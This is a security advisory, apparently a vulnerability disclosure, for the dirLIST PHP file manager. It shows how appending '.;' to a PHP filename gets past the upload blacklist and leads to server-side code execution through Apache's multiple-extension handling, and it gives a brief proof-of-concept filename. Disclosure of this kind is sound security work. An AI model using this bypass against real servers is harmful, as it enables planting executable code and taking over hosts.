It has a wonderful interface with choice of Thumbnail or List view along with gorgeous icons for different file types. Includes a sleek gallery, web based mp3 player, file admin + more. Vulnerability Type: ====================================== Bypass File Upload / CMD Execution CVE Reference: =============== N/A Security Issue: =============== When uploading "Banned" file types dirLIST replies with a base64 encoded error message. e.g. dXBsb2FkX2Jhbm5lZA== Decoded it reads, "upload_banned". Banned files are setup in the "config.php" file. $banned_file_types = array('.php', '.php3', '.php4', '.php5', '.htaccess', '.htpasswd', '.asp', '.aspx'); When upload a file, the check is made for banned file types. In "process_upload.php" on Line: 47 if(in_array(strtolower(strrchr($file_name, ".")), $banned_file_types)) { header("Location: ../index.php?folder=".$_POST['folder']."&err=".base64_encode("upload_banned")); exit; } However, appending a semicolon ";" to end of our PHP file will skirt the security check allowing us to upload a banned PHP file type, and our PHP file will be executed by server when accessed later. Apache manual: “Files can have more than one extension, and the order of the extensions is normally irrelevant. For example, if the file welcome.html.fr maps onto content type text/html and language French then the file welcome.fr.html will map onto exactly the same information. etc.. Therefore, a file named ‘file.php.1’, can be interpreted as a PHP file and be executed on server. This usually works if the last extension is not specified in the list of mime-types known to the web server. Developers are usually unaware of the "Apache" feature to process files with some odd unexpected extension like PHP.1, PHP.; and such. Tested on: Windows 7 Bitnami wampstack-5.6.29-0. Apache/2.4.23 (Win64) Linux XAMPP 5.6.8-0 Apache/2.4.12 (Unix) Exploit/POC: ============ 1) Create a banned PHP file to upload named. "TEST.php.;" 2) Upload to server using dirLIST. 3) Done!
